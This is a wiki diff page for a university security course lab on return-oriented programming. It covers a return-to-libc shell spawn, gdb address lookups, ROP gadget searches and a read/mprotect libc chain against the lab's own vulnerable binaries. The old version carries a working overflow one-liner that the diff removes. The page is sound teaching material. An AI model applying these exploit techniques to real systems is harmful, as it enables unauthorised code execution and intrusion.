Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-08 [2020/12/07 16:04]
mihai.dumitru2201 [1. ROP Gadgets (tutorial)]
cns:labs:lab-08 [2021/12/14 13:28] (current)
razvan.deaconescu
Line 1: Line 1:
-====== Lab 08 - Return Oriented Programming ======+====== Lab 08 - Return-Oriented Programming ======
  
 ===== Introduction ===== ===== Introduction =====
Line 232: Line 232:
 ==== 2. Return-to-libc - bypass NX/DEP (tutorial) ​ ==== ==== 2. Return-to-libc - bypass NX/DEP (tutorial) ​ ====
  
-Analyze the ''​rlibc.c''​ source code. As we can see, there is a buffer overflow vulnerability.+Analyze the ''​00-tutorial-2-ret2libc/​rlibc.c''​ source code. As we can see, there is a buffer overflow vulnerability.
 Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/​stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call ''​%%system("/​bin/​sh"​)%%''​. This exercise assumes that the libc address of ''​system''​ remains constant, so don't forget to disable ASLR. Since the binary is compiled with a non-executable stack, we cannot execute a shellcode from the buffer/​stack. One solution would be to return (jump) to an existing libc function that will give us a shell. For instance, we could call ''​%%system("/​bin/​sh"​)%%''​. This exercise assumes that the libc address of ''​system''​ remains constant, so don't forget to disable ASLR.
  
Line 238: Line 238:
 Our exploit payload will look something like: Our exploit payload will look something like:
  
-''​%%[overflow] [<systemaddr] [fake return ​address] ["/​bin/​sh"​]%%''​ +''​%%[overflow] [<pop rdi gagdget> address] ["/​bin/​sh" ​address[system address]%%''​
- +
-In order to correctly prepare the stack frame for ''​system()''​ (so ''​%%"/​bin/​sh"​%%''​ will be placed in the parameters location), we also need to set a return ​address ​for it. +
-Since ''​system()''​ will execute the desired shell, we don't actually need to return from it, so we can set this address to a random value (e.g. ''​%%"​\x00"​*4%%''​)+
 </​note>​ </​note>​
  
Line 248: Line 245:
 root@kali:​~/​lab-08#​ gdb rlibc  root@kali:​~/​lab-08#​ gdb rlibc 
 gdb-peda$ b main gdb-peda$ b main
-Breakpoint ​at 0x8048451: file rlibc.c, line 12.+Breakpoint ​at 0x401157: file ret2libc.c, line 10.
 gdb-peda$ r gdb-peda$ r
 Starting program: /​root/​lab-08/​rlibc ​ Starting program: /​root/​lab-08/​rlibc ​
 Breakpoint 1, main () at rlibc.c:12 Breakpoint 1, main () at rlibc.c:12
 gdb-peda$ p system gdb-peda$ p system
-$1 = {<text variable, no debug info>​} ​0xf7e34af0 ​<​system>​+$1 = {<text variable, no debug info>​} ​0x7ffff7e10830 ​<​system>​
 </​code>​ </​code>​
  
Line 261: Line 258:
 Searching for '/​bin/​sh'​ in: None ranges Searching for '/​bin/​sh'​ in: None ranges
 Found 1 results, display max 1 items: Found 1 results, display max 1 items:
-libc : 0xf7f56be8 ​("/bin/sh")+libc : 0x7ffff7f53e78 --> 0x68732f6e69622f ​('/bin/sh')
 </​code>​ </​code>​
  
   * As usual, we have to identify the overflowed buffer ''​offset''​ where the return address starts. We can do this using the ''​peda''​ ''​pattc''​ and ''​patto''​ commands as in the previous [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-06#​phase_2finding_the_vulnerability|labs]]. ​   * As usual, we have to identify the overflowed buffer ''​offset''​ where the return address starts. We can do this using the ''​peda''​ ''​pattc''​ and ''​patto''​ commands as in the previous [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-06#​phase_2finding_the_vulnerability|labs]]. ​
-  * In the end, our exploit ​will look something like (where 140 is the overflowed buffer offset): +  * The complete ​exploit ​can be found in ''​00-tutorial-2-ret2libc/solution.py''​
-<code bash> +
-cat <(python -c 'print "​\x00"​*140+"​\xf0\x4a\xe3\xf7"​+"​\x00"​*4+"​\xe8\x6b\xf5\xf7"​'| ./rlibc  +
-</​code>​+
  
 ==== 3. ROP: Find the buffer ​ ==== ==== 3. ROP: Find the buffer ​ ====
  
-Analyze the content of ''​3-ropbuf/​ropbuf.c''​. There is a buffer overflow, but in order to exploit it we have to know the buffer'​s address on the stack. We had a similar situation in [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-07#​multistage_exploit_7p|lab7]] where we built a 2-stages exploit and managed to leak the buffer'​s address. But this is not always so easy to guess/leak.+Analyze the content of ''​01-ropbuf/​ropbuf.c''​. There is a buffer overflow, but in order to exploit it we have to know the buffer'​s address on the stack. We had a similar situation in [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-07#​multistage_exploit_7p|lab7]] where we built a 2-stages exploit and managed to leak the buffer'​s address. But this is not always so easy to guess/leak.
  
 === ROP Gadget to return to the buffer ​ === === ROP Gadget to return to the buffer ​ ===
Line 280: Line 274:
 gdb-peda$ pdis vuln gdb-peda$ pdis vuln
 Dump of assembler code for function vuln: Dump of assembler code for function vuln:
-   0x00000000004005b7 ​<​+0>:​ push ​  rbp +   0x0000000000401136 ​<​+0>: ​    ​push   rbp 
-   0x00000000004005b8 ​<​+1>:​ mov ​   rbp,rsp +   0x0000000000401137 ​<​+1>: ​    ​mov    rbp,rsp 
-   0x00000000004005bb ​<​+4>:​ sub ​   rsp,0x90 +   0x000000000040113a ​<​+4>: ​    ​sub    rsp,0x90 
-   0x00000000004005c2 ​<​+11>:​ mov ​   QWORD PTR [rbp-0x88],​rdi +   0x0000000000401141 ​<​+11>: ​   mov    QWORD PTR [rbp-0x88],​rdi 
-   0x00000000004005c9 ​<​+18>:​ mov ​   rdx,QWORD PTR [rbp-0x88] +   0x0000000000401148 ​<​+18>: ​   mov    rdx,QWORD PTR [rbp-0x88] 
-   0x00000000004005d0 ​<​+25>:​ lea ​   rax,​[rbp-0x80] +   0x000000000040114f ​<​+25>: ​   lea    rax,​[rbp-0x80] 
-   0x00000000004005d4 ​<​+29>:​ mov ​   rsi,rdx +   0x0000000000401153 ​<​+29>: ​   mov    rsi,rdx 
-   0x00000000004005d7 ​<​+32>:​ mov ​   rdi,rax +   0x0000000000401156 ​<​+32>: ​   mov    rdi,rax 
-   0x00000000004005da ​<​+35>:​ call ​  0x4004b0 ​<​strcpy@plt>​ +   0x0000000000401159 ​<​+35>: ​   call   0x401030 ​<​strcpy@plt>​ 
-   0x00000000004005df ​<​+40>:​ nop +   0x000000000040115e ​<​+40>: ​   nop 
-   0x00000000004005e0 ​<​+41>:​ leave ​  +   0x000000000040115f ​<​+41>: ​   leave 
-   0x00000000004005e1 ​<​+42>:​ ret    +   0x0000000000401160 ​<​+42>: ​   ​ret
 End of assembler dump. End of assembler dump.
 +
 </​code>​ </​code>​
  
 <note tip> <note tip>
 The buffer address is stored in a register when ''​ret''​ is executed. The buffer address is stored in a register when ''​ret''​ is executed.
 +
 +There is no need for a memory disclosure / information leak of the buffer address. **You can find a gadget that jumps / calls that register.**
  
 Use ''​%%ropsearch ... libc%%''​. Instead of ''​%%...%%''​ place the instructions you search. Use ''​%%ropsearch ... libc%%''​. Instead of ''​%%...%%''​ place the instructions you search.
Line 302: Line 299:
  
 Using this information,​ find a ROP gadget that will help you jump directly to a shellcode stored in the buffer. Using this information,​ find a ROP gadget that will help you jump directly to a shellcode stored in the buffer.
-Replace the return address with the address of the ROP gadget. You can start from the skeleton in ''​ropbuf.py''​. This exercise also needs ASLR disabled, since it assumes that the ROP gadget'​s address remains constant between consecutive runs.+Replace the return address with the address of the ROP gadget. You can start from the skeleton in ''​01-ropbuf/exploit.py''​. This exercise also needs ASLR disabled, since it assumes that the ROP gadget'​s address remains constant between consecutive runs.
  
 <note tip> <note tip>
Line 309: Line 306:
     io = process(["​./​ropbuf",​ payload]) ​ # Run ./ropbuf using payload as command line argument.     io = process(["​./​ropbuf",​ payload]) ​ # Run ./ropbuf using payload as command line argument.
 </​code>​ </​code>​
 +</​note>​
 +
 +<note important>​
 +You can't send NUL-bytes as part of command line arguments. When constructing the payload, use ''​%%pack(...).strip(b\"​x00"​)%%''​.
 </​note>​ </​note>​
  
Line 324: Line 325:
 As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls. As we've seen in the above sections, ROP is useful when we want to chain multiple function calls. Using ROP Gadgets we can setup function arguments in between function calls.
  
-Take a look at ''​4-ropfunc/ropfunc.c''​ and make it call ''​call_1()''​ followed by ''​call_2()''​ and ''​call_exit()''​. You can start from the skeleton in ''​ropfunc.py''​. When calling ''​call_1()''​ and ''​call_2()'',​ make them print the messages in the ''​if''​ block by passing the proper parameters.+Take a look at ''​02-ropchain/ropchain.c''​ and make it call ''​call_1()''​ followed by ''​call_2()''​ and ''​call_exit()''​. You can start from the skeleton in ''​02-ropchain/​exploit.py''​. When calling ''​call_1()''​ and ''​call_2()'',​ make them print the messages in the ''​if''​ block by passing the proper parameters.
 ==== 5. Bonus ROP: Libc Functions chain  ==== ==== 5. Bonus ROP: Libc Functions chain  ====
    
 Now let's move to a more practical example by chaining useful ''​libc''​ functions. Now let's move to a more practical example by chaining useful ''​libc''​ functions.
-Take a look at ''​roplibc.c''​. We can see that we have a buffer overflow on ''​buf''​ and a global, unused ''​gbuf''​.+Take a look at ''​03-roplibc/roplibc.c''​. We can see that we have a buffer overflow on ''​buf''​ and a global, unused ''​gbuf''​.
  
   * The stack is not executable so, at the first sight, we cannot put our shellcode neither in ''​buf'',​ nor in ''​gbuf''​. But what if we manage to call (jump to) **mprotect** over the memory area where we store the shellcode, and make it executable?   * The stack is not executable so, at the first sight, we cannot put our shellcode neither in ''​buf'',​ nor in ''​gbuf''​. But what if we manage to call (jump to) **mprotect** over the memory area where we store the shellcode, and make it executable?
   * Furthermore,​ given the fact that ''​gbuf''​ is larger than ''​buf'',​ we might want to put our shellcode there. But how do we do this when the only ''​read''​ call is on ''​buf''?​ In this case, we will also want to call (jump to) **read** in our exploit payload.   * Furthermore,​ given the fact that ''​gbuf''​ is larger than ''​buf'',​ we might want to put our shellcode there. But how do we do this when the only ''​read''​ call is on ''​buf''?​ In this case, we will also want to call (jump to) **read** in our exploit payload.
   * A possible ROP chain (that will start from the overwritten return address from ''​buf''​) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.   * A possible ROP chain (that will start from the overwritten return address from ''​buf''​) for the described attack will look something like below. The return addresses in the ROP chain are highlighted with red and the function parameters with green.
-**[<​color red>pop rdi;​ret</​color>​][<​color green>​fd=0</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​gbuf</​color>​][<​color red>pop rdx;​ret</​color>​][<​color green>​shellcode_len</​color>​][read_addr] 
  
 +**[<​color red>pop rdi;​ret</​color>​][<​color green>​fd=0</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​gbuf</​color>​][<​color red>pop rdx;​ret</​color>​][<​color green>​shellcode_len</​color>​][read_addr]**  ​
 +
 +**[<​color red>pop rdi;​ret</​color>​][<​color green>​page</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​page_size</​color>​] [<color red>pop rdx;​ret</​color>​][<​color green>​mp3</​color>​][mprotect_addr]**
  
-[<color red>pop rdi;​ret</​color>​][<​color green>​mp1</​color>​][<​color red>pop rsi;​ret</​color>​]][<​color green>​mp2</​color>​] [<color red>pop rdx;​ret</​color>​][<​color green>​mp3</​color>​][mprotect_addr][gbuf_addr]**+**[gbuf_addr]**
  
  
cns/labs/lab-08.1607349851.txt.gz · Last modified: 2020/12/07 16:04 by mihai.dumitru2201
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0